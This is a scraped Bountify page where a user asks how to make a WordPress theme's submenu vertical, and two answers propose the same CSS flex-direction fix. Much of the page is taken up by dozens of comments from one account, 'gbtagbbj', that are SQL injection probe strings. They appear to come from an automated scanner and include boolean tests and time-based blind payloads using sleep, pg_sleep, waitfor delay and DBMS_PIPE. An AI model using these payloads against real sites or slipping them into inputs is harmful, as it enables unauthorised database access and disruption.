SubNavigation Menu is Horizonal, should be vertical
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

I'm working on a WordPress site that has a custom theme being built.
The top level navigation is horizontal as it should be, but the second level (for example, under the "For Job Seekers" heading is also horizontal, but should be vertical.

I've tried all of the CSS tricks I know, so looking for a second set of eyes on this.
Development Link is: https://adjdev.wpengine.com/

hfJKJndH
gbtagbbj 30 days ago
-1 OR 2+270-270-1=0+0+0+1
gbtagbbj 30 days ago
-1 OR 3+270-270-1=0+0+0+1
gbtagbbj 30 days ago
RLIKE (SELECT (CASE WHEN (32=32) THEN 1 ELSE 0x28 END)) --
gbtagbbj 30 days ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 30 days ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 30 days ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 30 days ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 30 days ago
1 waitfor delay '0:0:15' --
gbtagbbj 30 days ago
vaoyb607'
gbtagbbj 30 days ago
-5 OR 379=(SELECT 379 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-5) OR 94=(SELECT 94 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-1)) OR 597=(SELECT 597 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
ccqeEMO0' OR 624=(SELECT 624 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
D1gkf6jT') OR 160=(SELECT 160 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
wW9wzMmH')) OR 993=(SELECT 993 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 30 days ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 30 days ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 30 days ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 30 days ago
awarded to radosinsky
Tags
css
wordpress

Crowdsource coding tasks.

2 Solutions

Winning solution

Hello,

adding this CSS rule to style.css will change the submenu to vertical layout:
.main-navigation ul ul {
flex-direction: column;
}

Let me know if there's anything else I can help you with. Thanks!

Thank you, this was perfect! Since you were first, awarded to you
Matt Connolly 7 months ago
8TTO0Nkz
gbtagbbj 30 days ago
-1 OR 2+164-164-1=0+0+0+1
gbtagbbj 30 days ago
-1 OR 3+164-164-1=0+0+0+1
gbtagbbj 30 days ago
RLIKE (SELECT (CASE WHEN (638=638) THEN 1 ELSE 0x28 END)) --
gbtagbbj 30 days ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 30 days ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 30 days ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 30 days ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 30 days ago
1 waitfor delay '0:0:15' --
gbtagbbj 30 days ago
KFBKkm8l'
gbtagbbj 30 days ago
-5 OR 643=(SELECT 643 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-5) OR 591=(SELECT 591 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-1)) OR 157=(SELECT 157 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
V0t4nYo6' OR 799=(SELECT 799 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
NCtU85jW') OR 310=(SELECT 310 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
Y2FyRnf3')) OR 67=(SELECT 67 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 30 days ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 30 days ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 30 days ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 30 days ago
&#x000A
gbtagbbj 30 days ago

Hello,
You can set flex-direction property to column. It defines how the items are placed in flex container.
To set the second level navigation vertical
following should be added in css file:

.main-navigation ul ul{
flex-direction: column;
}

This is the result you will get link

Let me know if this solves your problem or if you need help with anything else. Thanks!

-1 OR 2+409-409-1=0+0+0+1 --
gbtagbbj 30 days ago
-1 OR 3+409-409-1=0+0+0+1 --
gbtagbbj 30 days ago
-1 OR 2+822-822-1=0+0+0+1
gbtagbbj 30 days ago
-1 OR 3+822-822-1=0+0+0+1
gbtagbbj 30 days ago
-1' OR 2+52-52-1=0+0+0+1 --
gbtagbbj 30 days ago
-1' OR 3+52-52-1=0+0+0+1 --
gbtagbbj 30 days ago
-1' OR 2+110-110-1=0+0+0+1 or 'gCsDpveh'='
gbtagbbj 30 days ago
-1' OR 3+110-110-1=0+0+0+1 or 'gCsDpveh'='
gbtagbbj 30 days ago
-1" OR 2+701-701-1=0+0+0+1 --
gbtagbbj 30 days ago
-1" OR 3+701-701-1=0+0+0+1 --
gbtagbbj 30 days ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 30 days ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 30 days ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 30 days ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 30 days ago
1 waitfor delay '0:0:15' --
gbtagbbj 30 days ago
v95Tv4mr'
gbtagbbj 30 days ago
-5 OR 197=(SELECT 197 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-5) OR 688=(SELECT 688 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
-1)) OR 24=(SELECT 24 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
oUBJcOUA' OR 739=(SELECT 739 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
dEF7AABb') OR 413=(SELECT 413 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
Sd11ciRo')) OR 516=(SELECT 516 FROM PG_SLEEP(15))--
gbtagbbj 30 days ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 30 days ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 30 days ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 30 days ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 30 days ago
View Timeline